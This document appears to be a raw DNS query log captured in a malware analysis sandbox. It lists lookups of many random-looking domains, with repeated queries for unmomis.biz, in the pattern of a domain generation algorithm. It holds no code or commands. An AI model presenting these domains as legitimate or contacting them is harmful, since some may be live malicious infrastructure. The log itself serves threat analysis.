Dec 4, 2023 12:34:46.944286108 CET	192.168.2.6	1.1.1.1	0xbb8e	Standard query (0)	nogwayfyz.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.150600910 CET	192.168.2.6	1.1.1.1	0x14ff	Standard query (0)	kqvygqi.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.250252962 CET	192.168.2.6	1.1.1.1	0x8826	Standard query (0)	kqvygqi.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.463190079 CET	192.168.2.6	1.1.1.1	0x322f	Standard query (0)	mysuh.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.842647076 CET	192.168.2.6	1.1.1.1	0x7e5c	Standard query (0)	mysuh.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.292059898 CET	192.168.2.6	1.1.1.1	0x9495	Standard query (0)	eqekk.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.589196920 CET	192.168.2.6	1.1.1.1	0xc68	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.704065084 CET	192.168.2.6	1.1.1.1	0x702b	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.915997982 CET	192.168.2.6	1.1.1.1	0xeb76	Standard query (0)	qnogblecjea.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.019388914 CET	192.168.2.6	1.1.1.1	0x666b	Standard query (0)	qnogblecjea.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.228915930 CET	192.168.2.6	1.1.1.1	0xfa5	Standard query (0)	ikcbifkwlk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.562227011 CET	192.168.2.6	1.1.1.1	0xf46e	Standard query (0)	ikcbifkwlk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.776050091 CET	192.168.2.6	1.1.1.1	0xe04a	Standard query (0)	ouydc.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.234066963 CET	192.168.2.6	1.1.1.1	0x4ca5	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.340822935 CET	192.168.2.6	1.1.1.1	0xc7b2	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.541065931 CET	192.168.2.6	1.1.1.1	0xcad9	Standard query (0)	yuufw.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.647948980 CET	192.168.2.6	1.1.1.1	0xbb10	Standard query (0)	yuufw.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.853795052 CET	192.168.2.6	1.1.1.1	0xef8a	Standard query (0)	uduror.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.960903883 CET	192.168.2.6	1.1.1.1	0xe12a	Standard query (0)	uduror.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.166599035 CET	192.168.2.6	1.1.1.1	0x30b2	Standard query (0)	xcrzpoqyev.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.472336054 CET	192.168.2.6	1.1.1.1	0x2b27	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.571125984 CET	192.168.2.6	1.1.1.1	0x4621	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.776398897 CET	192.168.2.6	1.1.1.1	0x5359	Standard query (0)	ceigroww.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.991143942 CET	192.168.2.6	1.1.1.1	0x2177	Standard query (0)	ceigroww.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:52.197736979 CET	192.168.2.6	1.1.1.1	0xe072	Standard query (0)	esclcrwdzowpc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:52.542573929 CET	192.168.2.6	1.1.1.1	0x117c	Standard query (0)	esclcrwdzowpc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.556241035 CET	192.168.2.6	1.1.1.1	0x117c	Standard query (0)	esclcrwdzowpc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.681629896 CET	192.168.2.6	1.1.1.1	0xb328	Standard query (0)	uklmstm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.936317921 CET	192.168.2.6	1.1.1.1	0x1bdf	Standard query (0)	uklmstm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.307018995 CET	192.168.2.6	1.1.1.1	0x54a6	Standard query (0)	ckjom.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.602705956 CET	192.168.2.6	1.1.1.1	0xba53	Standard query (0)	ckjom.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.926779985 CET	192.168.2.6	1.1.1.1	0x9cc5	Standard query (0)	iyzzosives.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:55.257884026 CET	192.168.2.6	1.1.1.1	0x3043	Standard query (0)	iyzzosives.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:55.666512966 CET	192.168.2.6	1.1.1.1	0xfcaf	Standard query (0)	uwgiucm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:57.280309916 CET	192.168.2.6	1.1.1.1	0x142a	Standard query (0)	uwgiucm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:57.650913000 CET	192.168.2.6	1.1.1.1	0x5c0	Standard query (0)	taegkmytdji.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:57.974776030 CET	192.168.2.6	1.1.1.1	0xa8b2	Standard query (0)	taegkmytdji.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.400695086 CET	192.168.2.6	1.1.1.1	0x51a8	Standard query (0)	eodljipg.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.673455954 CET	192.168.2.6	1.1.1.1	0x88a0	Standard query (0)	eodljipg.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.884912968 CET	192.168.2.6	1.1.1.1	0x5a1c	Standard query (0)	kmakdec.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.992851973 CET	192.168.2.6	1.1.1.1	0x4837	Standard query (0)	kmakdec.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.213404894 CET	192.168.2.6	1.1.1.1	0xae71	Standard query (0)	saswvsucboqjw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.422157049 CET	192.168.2.6	1.1.1.1	0xb493	Standard query (0)	saswvsucboqjw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.635121107 CET	192.168.2.6	1.1.1.1	0x3f5d	Standard query (0)	imbwsomexosgk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.180016041 CET	192.168.2.6	1.1.1.1	0xc3aa	Standard query (0)	imbwsomexosgk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.619668961 CET	192.168.2.6	1.1.1.1	0x2683	Standard query (0)	luimvwcqc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.740740061 CET	192.168.2.6	1.1.1.1	0x6d04	Standard query (0)	luimvwcqc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.948386908 CET	192.168.2.6	1.1.1.1	0x1fe3	Standard query (0)	yowuwvxv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.282649040 CET	192.168.2.6	1.1.1.1	0xb780	Standard query (0)	yowuwvxv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.494407892 CET	192.168.2.6	1.1.1.1	0x25ef	Standard query (0)	yiwqeoqkvc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.608922958 CET	192.168.2.6	1.1.1.1	0xf999	Standard query (0)	yiwqeoqkvc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.822722912 CET	192.168.2.6	1.1.1.1	0x6e9c	Standard query (0)	jhrkfuyoa.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.388506889 CET	192.168.2.6	1.1.1.1	0xa640	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.511543989 CET	192.168.2.6	1.1.1.1	0x4486	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.713227987 CET	192.168.2.6	1.1.1.1	0x4965	Standard query (0)	ecceuleyq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.076080084 CET	192.168.2.6	1.1.1.1	0x8e8a	Standard query (0)	ecceuleyq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.541390896 CET	192.168.2.6	1.1.1.1	0x36ef	Standard query (0)	sxeafnqamioyl.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.822144032 CET	192.168.2.6	1.1.1.1	0x24f4	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.933495045 CET	192.168.2.6	1.1.1.1	0xf50a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.135255098 CET	192.168.2.6	1.1.1.1	0xffbc	Standard query (0)	cigkgqmwwoq.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.462969065 CET	192.168.2.6	1.1.1.1	0x1fd4	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.595251083 CET	192.168.2.6	1.1.1.1	0x86db	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.807579994 CET	192.168.2.6	1.1.1.1	0x82c1	Standard query (0)	auwwie.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.163952112 CET	192.168.2.6	1.1.1.1	0x87d8	Standard query (0)	auwwie.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.371001005 CET	192.168.2.6	1.1.1.1	0xff35	Standard query (0)	aoynscawsxqoi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.488815069 CET	192.168.2.6	1.1.1.1	0xa7d4	Standard query (0)	aoynscawsxqoi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.856003046 CET	192.168.2.6	1.1.1.1	0xab0c	Standard query (0)	susondjqc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.177026987 CET	192.168.2.6	1.1.1.1	0x1680	Standard query (0)	susondjqc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.479093075 CET	192.168.2.6	1.1.1.1	0xaa31	Standard query (0)	gdiesxseigao.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.969886065 CET	192.168.2.6	1.1.1.1	0xb85f	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.094763041 CET	192.168.2.6	1.1.1.1	0x1564	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.307725906 CET	192.168.2.6	1.1.1.1	0xe142	Standard query (0)	yelgcearo.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.699619055 CET	192.168.2.6	1.1.1.1	0x293f	Standard query (0)	yelgcearo.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.995213985 CET	192.168.2.6	1.1.1.1	0x9254	Standard query (0)	kmsmk.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:08.259001017 CET	192.168.2.6	1.1.1.1	0xec0	Standard query (0)	kmsmk.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:08.471221924 CET	192.168.2.6	1.1.1.1	0x8940	Standard query (0)	gzeavioqi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:09.463454008 CET	192.168.2.6	1.1.1.1	0x8940	Standard query (0)	gzeavioqi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:09.481728077 CET	192.168.2.6	1.1.1.1	0x7853	Standard query (0)	gzeavioqi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.197702885 CET	192.168.2.6	1.1.1.1	0xa023	Standard query (0)	swstgqsyaxe.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.404439926 CET	192.168.2.6	1.1.1.1	0x7a77	Standard query (0)	swstgqsyaxe.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.604078054 CET	192.168.2.6	1.1.1.1	0x9f07	Standard query (0)	whrwezmikgr.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.937874079 CET	192.168.2.6	1.1.1.1	0x38a9	Standard query (0)	whrwezmikgr.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.392055988 CET	192.168.2.6	1.1.1.1	0x974c	Standard query (0)	pyhctikhca.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.507446051 CET	192.168.2.6	1.1.1.1	0x8db3	Standard query (0)	pyhctikhca.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.714471102 CET	192.168.2.6	1.1.1.1	0x5a7d	Standard query (0)	tkdcp.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.917659044 CET	192.168.2.6	1.1.1.1	0x3ef2	Standard query (0)	tkdcp.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:12.213709116 CET	192.168.2.6	1.1.1.1	0xeeec	Standard query (0)	qiamygymrlu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:12.579909086 CET	192.168.2.6	1.1.1.1	0x64fc	Standard query (0)	qiamygymrlu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:13.045034885 CET	192.168.2.6	1.1.1.1	0x7cc7	Standard query (0)	wziyabnrwnmfw.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:13.673237085 CET	192.168.2.6	1.1.1.1	0x697c	Standard query (0)	wziyabnrwnmfw.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.104278088 CET	192.168.2.6	1.1.1.1	0xb61d	Standard query (0)	pucdf.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.324106932 CET	192.168.2.6	1.1.1.1	0x29c0	Standard query (0)	pucdf.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.619699001 CET	192.168.2.6	1.1.1.1	0xea8d	Standard query (0)	eqwmxcdrpj.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.725507975 CET	192.168.2.6	1.1.1.1	0xa5ac	Standard query (0)	eqwmxcdrpj.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.933077097 CET	192.168.2.6	1.1.1.1	0x9f36	Standard query (0)	vesuvadpxnu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.211957932 CET	192.168.2.6	1.1.1.1	0x41b5	Standard query (0)	vesuvadpxnu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.433804035 CET	192.168.2.6	1.1.1.1	0xc12f	Standard query (0)	jowuhowi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.773833036 CET	192.168.2.6	1.1.1.1	0x8060	Standard query (0)	jowuhowi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.979724884 CET	192.168.2.6	1.1.1.1	0xdf69	Standard query (0)	rzucgtcpwoujoi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.092664957 CET	192.168.2.6	1.1.1.1	0xd420	Standard query (0)	rzucgtcpwoujoi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.308039904 CET	192.168.2.6	1.1.1.1	0xcd1e	Standard query (0)	auvgqgxid.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.659580946 CET	192.168.2.6	1.1.1.1	0x5dbf	Standard query (0)	auvgqgxid.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.135093927 CET	192.168.2.6	1.1.1.1	0x78a5	Standard query (0)	yqauyqiqsea.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.357095003 CET	192.168.2.6	1.1.1.1	0xbfbf	Standard query (0)	yqauyqiqsea.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.650593996 CET	192.168.2.6	1.1.1.1	0x908c	Standard query (0)	thgchg.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.477869987 CET	192.168.2.6	1.1.1.1	0x36b3	Standard query (0)	thgchg.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.682079077 CET	192.168.2.6	1.1.1.1	0xd1a9	Standard query (0)	ymvrgaeyo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.880367994 CET	192.168.2.6	1.1.1.1	0xbf15	Standard query (0)	ymvrgaeyo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.198534966 CET	192.168.2.6	1.1.1.1	0xdd5c	Standard query (0)	ieatyyzem.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.314064026 CET	192.168.2.6	1.1.1.1	0x3624	Standard query (0)	ieatyyzem.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.789489985 CET	192.168.2.6	1.1.1.1	0xb06d	Standard query (0)	uohcuegnkvj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.921295881 CET	192.168.2.6	1.1.1.1	0x20f6	Standard query (0)	uohcuegnkvj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.136183023 CET	192.168.2.6	1.1.1.1	0xe7b	Standard query (0)	stcapppcm.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.258903980 CET	192.168.2.6	1.1.1.1	0x905e	Standard query (0)	stcapppcm.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.464870930 CET	192.168.2.6	1.1.1.1	0xdd50	Standard query (0)	fjguuiscc.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.844885111 CET	192.168.2.6	1.1.1.1	0x4030	Standard query (0)	fjguuiscc.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.151024103 CET	192.168.2.6	1.1.1.1	0xd1bf	Standard query (0)	xsoarnzo.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.427541018 CET	192.168.2.6	1.1.1.1	0xe00c	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.535327911 CET	192.168.2.6	1.1.1.1	0x8c17	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.744570971 CET	192.168.2.6	1.1.1.1	0x4637	Standard query (0)	wacvs.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.022874117 CET	192.168.2.6	1.1.1.1	0x144a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.138525963 CET	192.168.2.6	1.1.1.1	0xbe00	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.338383913 CET	192.168.2.6	1.1.1.1	0xcc02	Standard query (0)	yqggloksl.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.964808941 CET	192.168.2.6	1.1.1.1	0xdc0f	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.062150955 CET	192.168.2.6	1.1.1.1	0x6d0e	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.260494947 CET	192.168.2.6	1.1.1.1	0x6824	Standard query (0)	ciomiv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.371198893 CET	192.168.2.6	1.1.1.1	0xc0b8	Standard query (0)	ciomiv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.572670937 CET	192.168.2.6	1.1.1.1	0x2dfd	Standard query (0)	amqogkz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.773991108 CET	192.168.2.6	1.1.1.1	0xdfd2	Standard query (0)	amqogkz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.095138073 CET	192.168.2.6	1.1.1.1	0x93be	Standard query (0)	agkwukqervama.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.287275076 CET	192.168.2.6	1.1.1.1	0xbd5a	Standard query (0)	agkwukqervama.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.494782925 CET	192.168.2.6	1.1.1.1	0x5ab	Standard query (0)	izasnosdqa.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.841249943 CET	192.168.2.6	1.1.1.1	0x4dc0	Standard query (0)	izasnosdqa.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.291188002 CET	192.168.2.6	1.1.1.1	0x38c7	Standard query (0)	meysvxuem.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.400764942 CET	192.168.2.6	1.1.1.1	0xdc65	Standard query (0)	meysvxuem.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.713351011 CET	192.168.2.6	1.1.1.1	0x8989	Standard query (0)	eayiwsaiu.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.985975027 CET	192.168.2.6	1.1.1.1	0x9bf4	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.088641882 CET	192.168.2.6	1.1.1.1	0x3a83	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.370316982 CET	192.168.2.6	1.1.1.1	0x321d	Standard query (0)	cxlowsxgyq.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.923248053 CET	192.168.2.6	1.1.1.1	0x16ce	Standard query (0)	cxlowsxgyq.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.135162115 CET	192.168.2.6	1.1.1.1	0xeff6	Standard query (0)	kqguj.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.488795042 CET	192.168.2.6	1.1.1.1	0x8975	Standard query (0)	kqguj.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.948431969 CET	192.168.2.6	1.1.1.1	0xb1b5	Standard query (0)	fdpempn.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:28.052742004 CET	192.168.2.6	1.1.1.1	0xcb06	Standard query (0)	fdpempn.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:28.886862993 CET	192.168.2.6	1.1.1.1	0xc76c	Standard query (0)	anunqdoqkkk.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.131433010 CET	192.168.2.6	1.1.1.1	0x21de	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.234303951 CET	192.168.2.6	1.1.1.1	0xcf8e	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.431968927 CET	192.168.2.6	1.1.1.1	0xad4d	Standard query (0)	omodgklmmytyf.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.540822983 CET	192.168.2.6	1.1.1.1	0x479e	Standard query (0)	omodgklmmytyf.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.762701988 CET	192.168.2.6	1.1.1.1	0xde53	Standard query (0)	dyueyt.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.866826057 CET	192.168.2.6	1.1.1.1	0xa187	Standard query (0)	dyueyt.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.073923111 CET	192.168.2.6	1.1.1.1	0x261c	Standard query (0)	sdzdwye.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.473330021 CET	192.168.2.6	1.1.1.1	0x401d	Standard query (0)	sdzdwye.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.775662899 CET	192.168.2.6	1.1.1.1	0xb0c1	Standard query (0)	qarmpzijnapfi.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.969868898 CET	192.168.2.6	1.1.1.1	0x8664	Standard query (0)	qarmpzijnapfi.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.275422096 CET	192.168.2.6	1.1.1.1	0x4fcc	Standard query (0)	rqglswlmmbwbt.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.653708935 CET	192.168.2.6	1.1.1.1	0x7286	Standard query (0)	rqglswlmmbwbt.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.964293003 CET	192.168.2.6	1.1.1.1	0x50b2	Standard query (0)	qyeucef.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.168850899 CET	192.168.2.6	1.1.1.1	0x2e73	Standard query (0)	qyeucef.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.464454889 CET	192.168.2.6	1.1.1.1	0x5c85	Standard query (0)	sgjlqugfwhiau.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.568326950 CET	192.168.2.6	1.1.1.1	0xe126	Standard query (0)	sgjlqugfwhiau.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.776190042 CET	192.168.2.6	1.1.1.1	0xddd	Standard query (0)	imoqqcxc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.977740049 CET	192.168.2.6	1.1.1.1	0xa816	Standard query (0)	imoqqcxc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.277339935 CET	192.168.2.6	1.1.1.1	0xed4d	Standard query (0)	moikiswormqyw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.377039909 CET	192.168.2.6	1.1.1.1	0x798b	Standard query (0)	moikiswormqyw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.588207960 CET	192.168.2.6	1.1.1.1	0xc05	Standard query (0)	ylknnee.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:36.280616999 CET	192.168.2.6	1.1.1.1	0x28f	Standard query (0)	ylknnee.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.089366913 CET	192.168.2.6	1.1.1.1	0x9075	Standard query (0)	epqexyxenaeic.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.288408041 CET	192.168.2.6	1.1.1.1	0x830f	Standard query (0)	epqexyxenaeic.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.587879896 CET	192.168.2.6	1.1.1.1	0x45e6	Standard query (0)	cwotiedmwpagi.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.879338980 CET	192.168.2.6	1.1.1.1	0x8ddd	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.991548061 CET	192.168.2.6	1.1.1.1	0x2550	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:38.197339058 CET	192.168.2.6	1.1.1.1	0xf372	Standard query (0)	kjikqraqo.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:38.304239988 CET	192.168.2.6	1.1.1.1	0x8bee	Standard query (0)	kjikqraqo.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.228631973 CET	192.168.2.6	1.1.1.1	0x35d6	Standard query (0)	fcupaue.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.531603098 CET	192.168.2.6	1.1.1.1	0xb8a0	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.638238907 CET	192.168.2.6	1.1.1.1	0x434	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.838264942 CET	192.168.2.6	1.1.1.1	0x9978	Standard query (0)	timsbauamckr.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.042129993 CET	192.168.2.6	1.1.1.1	0xdb3a	Standard query (0)	timsbauamckr.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.387645960 CET	192.168.2.6	1.1.1.1	0x9330	Standard query (0)	ruxqdcjzyww.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.587991953 CET	192.168.2.6	1.1.1.1	0x6554	Standard query (0)	ruxqdcjzyww.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.901417971 CET	192.168.2.6	1.1.1.1	0xd185	Standard query (0)	bqsisaiqgucqw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.101679087 CET	192.168.2.6	1.1.1.1	0xd737	Standard query (0)	bqsisaiqgucqw.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.307326078 CET	192.168.2.6	1.1.1.1	0x94f6	Standard query (0)	wowhpjqeagx.st	A (IP address)	IN (0x0001)	false
